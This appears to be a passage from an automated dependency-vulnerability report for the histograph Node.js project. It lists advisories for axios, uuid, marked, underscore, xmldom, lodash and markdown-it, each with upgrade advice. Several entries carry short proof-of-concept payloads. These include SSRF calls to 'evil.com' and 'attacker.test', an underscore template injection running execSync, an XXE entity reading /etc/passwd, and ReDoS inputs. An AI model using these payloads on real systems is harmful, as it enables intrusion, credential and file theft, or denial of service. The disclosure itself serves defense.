Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: uuid@3.4.0, request@2.88.2 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph uuid@3.4.0
    Remediation: Upgrade to uuid@11.1.1.
  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 uuid@3.4.0
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 uuid@3.4.0
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 uuid@3.4.0

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: yamljs@0.2.10

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph yamljs@0.2.10 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.21.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph marked@0.3.19
    Remediation: Upgrade to marked@1.1.1.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 1.1.1 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 js-yaml@2.0.5 argparse@0.1.16 underscore@1.7.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade xmldom to version 0.5.0 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2 follow-redirects@1.5.10
    Remediation: Upgrade to axios@0.20.0.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking the cookie header to a third party site in the process of fetching a remote URL with the cookie in the request body. If the response contains a location header, it will follow the redirect to another URL of a potentially malicious actor, to which the cookie would be exposed.

Remediation

Upgrade follow-redirects to version 1.14.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: markdown-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2
    Remediation: Upgrade to jstransformer-markdown-it@3.0.0.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity. Parsing *_*_*_… takes quadratic time, this could be a denial of service vulnerability in an application that parses user input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 10.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: markdown-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2
    Remediation: Upgrade to jstransformer-markdown-it@3.0.0.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the /s+$/ in line 23 of lib/rules_inline/newline.js. This expression is used to remove trailing whitespaces from a string, however, it also matches non-trailing whitespaces. In the worst-case scenario, the matching process would take computation time proportional to the square of the length of the non-trailing whitespaces. It is possible that a string containing more than tens of thousands characters, as markdown-it handles Markdown, would be passed over the network, resulting in significant computational time.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 12.3.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph marked@0.3.19
    Remediation: Upgrade to marked@0.6.2.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex may take quadratic time to scan for potential email addresses starting at every point.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.6.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph marked@0.3.19
    Remediation: Upgrade to marked@4.0.10.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch, if it is not being parsed by a time-limited worker thread.

PoC

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

